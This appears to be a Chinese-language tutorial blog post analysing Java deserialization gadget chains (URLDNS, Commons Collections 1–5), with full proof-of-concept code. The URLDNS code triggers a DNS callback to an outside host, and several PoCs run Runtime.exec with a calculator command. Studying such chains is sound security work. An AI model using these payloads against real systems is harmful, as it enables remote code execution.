URLDNS URLDNS经常用于快速检测反序列化漏洞是否存在的链,因为使用的原生类没有jdk版本限制。
Gadget Chain 1 2 3 4 * HashMap.readObject() * HashMap.putVal() * HashMap.hash() * URL.hashCode()
通过利用链一点点分析首先是HashMap
,反序列漏洞首先要执行readObject
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException ("Illegal load factor: " + loadFactor); s.readInt(); int mappings = s.readInt(); if (mappings < 0 ) throw new InvalidObjectException ("Illegal mappings count: " + mappings); else if (mappings > 0 ) { float lf = Math.min(Math.max(0.25f , loadFactor), 4.0f ); float fc = (float )mappings / lf + 1.0f ; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int )fc)); float ft = (float )cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int )ft : Integer.MAX_VALUE); SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node [cap]; table = tab; for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } }
重点在于方法中最后的putVal
方法中调用了hash
方法 而在hash
方法中又调用了key
的hashCode
方法,而key
是HashMap
中可以put写入的对象。 这时再看java.net.URL
中的hashCode
方法 在此方法中又调用了handler
对象(URLStreamHandler
类)的hashCode
方法 进而执行了getHostAddress
方法,此方法中触发了DNS请求
接下来回到HashMap#readObject
: 其中的key
是通过readObject
获得,那么在writeObject
时必然会将key
写入。 在internalWriteEntries
方法中,key
和value
是通过遍历tab
遍历写入的,而tab
则是HashMap
中table
的值,,table
的内容是由HashMap#put
传入的,在HashMap#put
方法中也会对key调用hash
方法,这时会产生一次dns请求。 检测反序列化漏洞存在,是要判断在反序列时是否进行了dns请求,所以在序列化对象时并不想进行一次dns请求从而误报。 回过来看URL#hashCode()
只要hashCode
属性的内容不为-1
就不会进入到handler.hashCode
方法,也就不用触发dns请求,所以在HashMap#put
之前修改下URL.hashCode
的值不为-1
即可。hashCode
为private
需要在获取filed后设置setAccessible
为true
。put
后需要修改为-1
避免影响反序列化的流程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 HashMap hashMap = new HashMap (); URL url = new URL ("http://des.3z5yg9.tweb.email" ); Field field = Class.forName("java.net.URL" ).getDeclaredField("hashCode" ); field.setAccessible(true ); field.set(url,123 ); System.out.println(url.hashCode()); hashMap.put(url,123 ); field.set(url,-1 ); try { FileOutputStream outputStream = new FileOutputStream ("./ser.obj" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (outputStream); objectOutputStream.writeObject(hashMap); objectOutputStream.close(); outputStream.close(); FileInputStream inputStream = new FileInputStream ("./ser.obj" ); ObjectInputStream objectInputStream = new ObjectInputStream (inputStream); objectInputStream.readObject(); objectInputStream.close(); inputStream.close(); }catch (Exception e){ e.printStackTrace(); }
在ysoserial
的payload里使用了子类继承URLStreamHandler
重写了openConnection
以及getHostAddress
方法在put
时直接返回null 那么再反序列化时为什么还是可以进行DNS查询呢,答案在URL
类中handler
被关键字transient
所修饰(在进行序列化的时候,此关键字修饰的成员变量,不进行序列化的操作),所以最终handler
还是初始类型URLStreamHandler
。
Commons Collections Commons Collections1 Gadget Chain 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
先看利用链的后半部分 **InvokerTransformer
**¡ 利用反射来执行某个类的方法ConstantTransformer
此方法会将传入的对象原样返回
ChainedTransformer
这三个类结合到一起就可以执行任意命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public class PayloadTest { public static void main (String[] args) throws Exception { ChainedTransformer chain = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{ String.class, Class[].class}, new Object []{ "getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{ Object.class, Object[].class}, new Object []{ null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open /System/Applications/Calculator.app" })}); chain.transform(123 ); System.out.println(Runtime.class.getClass().getMethod("getMethod" , String.class, Class[].class).invoke(Runtime.class, "getRuntime" , new Class [0 ]).getClass().getMethod("invoke" , new Class []{ Object.class, Object[].class}).invoke(Runtime.class.getClass().getMethod("getMethod" , String.class, Class[].class).invoke(Runtime.class, "getRuntime" , new Class [0 ]), null , new Object [0 ])); } }
因为是要在反序列化时触发所以需要找到一个序列化的点其中调用了transform
方法,接下来就是链的前段部分,LazyMap.get()
方法中factory
调用了transform
方法。
factory
对象的类型为protected final
没有被static
与transient
修饰,并且可由类初始化赋值,所以是可被序列化控制的。
因为此构造方法被protected
所修饰,所以无法直接构建可通过反射或者LazyMap.decorate()
方法来构建。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ChainedTransformer chain = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{ String.class, Class[].class}, new Object []{ "getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{ Object.class, Object[].class}, new Object []{ null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open /System/Applications/Calculator.app" })}); HashMap map = new HashMap (); Map lazymap = LazyMap.decorate(map, chain); lazymap.get(111 );
接下来就是要寻找哪里使用了LazyMap.get()
,这就到了CC1链的前段部分AnnotationInvocationHandler
了,首先是invoke
方法中调用了memberValues.get()
,
再看memberValues
是由AnnotationInvocationHandler
类的构造方法传入而来,而此类实现了InvocationHandler
是一个Handler
,在调用这个类的某个方法时可以触发代理类的invoke
方法 在AnnotationInvocationHandler.readObject
方法中调用了memberValues.entrySet().iterator()
,如果传入的memberValues
是一个代理类就会触发memberValues
对应Handler
的invoke
方法(AnnotationInvocationHandler恰好是Handler
)从而触发LazyMap.get()
。
完整利用POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 public static void main (String[] args) throws Exception { ChainedTransformer chain = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{ String.class, Class[].class}, new Object []{ "getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{ Object.class, Object[].class}, new Object []{ null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open /System/Applications/Calculator.app" })}); HashMap map = new HashMap (); Map lazymap = LazyMap.decorate(map, chain); Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructor(Class.class, Map.class); handlerConstructor.setAccessible(true ); InvocationHandler mapHandler = (InvocationHandler) handlerConstructor.newInstance(Override.class,lazymap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class []{Map.class},mapHandler); Constructor aihConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap); ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("./cc1.ser" )); objectOutputStream.writeObject(handler); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream ("./cc1.ser" )); objectInputStream.readObject(); }
这里创建了两个Handler
:
流程是 AnnotationInvocationHandler.readObject
->this.memberValues.entrySet()
(proxyMap.entrySet()
)->mapHandler.invoke
->AnnotationInvocationHandler.invoke
此时memberValues
为lazymap
->this.memberValues.get(var4)
(即lazymap.get(va4)
)
Commons Collections2 Gadget Chain 1 2 3 4 5 6 7 8 ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec()
根据利用链进行分析首先是PriorityQueue.readObject()
对输入流进行了反序列化来恢复对象数据,然后进入到heapify
方法。 此方法先判断了队列数量是否大于2((size >>> 1)-1 右移一位-1的结果要大于或等于0才满足循环条件
)如果大于2则进入到siftDown
方法 这里如果属性comparator
不为null
则进入到siftDownUsingComparator
方法,在此方法中执行了comparator.compare
方法,comparator
可以通过实例化PriorityQueue
对象时传入。接着进入了链的下一个TransformingComparator
类
此类存在一个compare
方法而且方法中调用了transform
方法,只要this.transoformer
可控,那么结合cc1中的ChainedTransformer
那么就可以执行命令了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ChainedTransformer chain = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{ String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" ,new Class []{ Object.class, Object[].class}, new Object []{null ,new Object [0 ]}), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"open /System/Applications/Calculator.app" }) }); TransformingComparator comparator = new TransformingComparator ((org.apache.commons.collections4.Transformer) chain);PriorityQueue queue = new PriorityQueue ();queue.add(1 ); queue.add(2 ); Field field = Class.forName("java.util.PriorityQueue" ).getDeclaredField("comparator" );field.setAccessible(true ); field.set(queue,comparator); ObjectOutputStream out = new ObjectOutputStream (new FileOutputStream ("./ss2.ser" ));out.writeObject(queue); out.close(); ObjectInputStream os = new ObjectInputStream (new FileInputStream ("./ss2.ser" ));os.readObject(); os.close();
在ysoserial中是怎么利用的呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 final Object templates = Gadgets.createTemplatesImpl(command); final InvokerTransformer transformer = new InvokerTransformer ("toString" , new Class [0 ], new Object [0 ]);final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 ,new TransformingComparator (transformer));queue.add(1 ); queue.add(1 ); Reflections.setFieldValue(transformer, "iMethodName" , "newTransformer" ); final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue" );queueArray[0 ] = templates; queueArray[1 ] = 1 ; return queue;
首先是将命令传入到createTemplatesImpl
方法 不满足条件则进入到createTemplatesImpl
的另一个重载方法
使用javassist
创建了一个继承AbstractTranslet
的类static
语句块会在类初始化执行 这里的Foo.class
以及_tfactory
属性是可以不用设置的,_name
是必须要设置的原因是在TemplatesImpl.newTransformer
时会进入到getTransletInstance
方法,此方法中会验证_name
属性是否为null
。 最后返回一个TemplatesImpl对象,继续到链的InvokerTransformer
中
这里创建了一个
InvokerTransformer对象,
methodName使用
toString做填充没有其他作用。下面就是创建链的前半部分,通过反射将
transformer的
iMethodName修改为
newTransformer并将
queue[0]的值修改为
templates`。
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath (AbstractTranslet.class)); CtClass ctc = pool.makeClass("Evil" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");" ; ctc.makeClassInitializer().insertAfter(cmd); ctc.setName("Evil" + System.nanoTime()); CtClass superC = pool.get(AbstractTranslet.class.getName()); ctc.setSuperclass(superC); byte [] classBytes = ctc.toBytecode(); TemplatesImpl templates = TemplatesImpl.class.newInstance(); Field field = templates.getClass().getDeclaredField("_bytecodes" ); field.setAccessible(true ); field.set(templates,new byte [][]{classBytes}); field = templates.getClass().getDeclaredField("_name" ); field.setAccessible(true ); field.set(templates,"name" ); InvokerTransformer transformer = new InvokerTransformer ("toString" ,new Class [0 ], new Object [0 ]); Comparator comparator = new TransformingComparator (transformer); PriorityQueue<Object> queue = new PriorityQueue <Object>(2 ,comparator); queue.add(1 ); queue.add(2 ); Field field1 = transformer.getClass().getDeclaredField("iMethodName" ); field1.setAccessible(true ); field1.set(transformer,"newTransformer" ); Field field2 = queue.getClass().getDeclaredField("queue" ); field2.setAccessible(true ); Object[] queueArray = (Object[]) field2.get(queue); queueArray[0 ] = templates; queueArray[1 ] = 1 ; try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("./cc2" )); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("./cc2" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); }
Commons Collections3 cc3像是cc1与cc2的结合,仅做了两个改动,分别是:
TrAXFilter
InstantiateTransformer
TrAXFilter: 在TrAXFilter
的构造方法中执行了templates.newTransformer
的方法。InstantiateTransformer:
在InstantiateTransformer
类的最后创建了input
的实例,在结合TrAXFilter
类,设置input
参数为TrAXFilter
类,那么就可以在执行InstantiateTransformer.transform
方法中创建TrAXFilter
类的构造方法从而触发templates.newTransformer()
方法。
Gadget:
Commons Collections4 cc4是cc2于cc3的结合,只是将InvokerTransformer
替换为InstantiateTransformer
其他没有什么变化。
Commons Collections5 Gadget Chain
对比Commons Collections1,5只是变动了AnnotationInvocationHandler
,引入了两个类:
BadAttributeValueExpException
TiedMapEntry
后半部分没有其他变化。
在cc1中AnnotationInvocationHandler
适用于触发LazyMap.get
方法,那么cc5引入的这两个类是怎么触发的呢?TiedMapEntry
: 在TiedMapEntry
类中有一个Map
类型的map
属性,并且在方法getValue
中执行了map.get
,同时在类中的equals
、hashCode
、toString
方法中都调用了getValue
方法。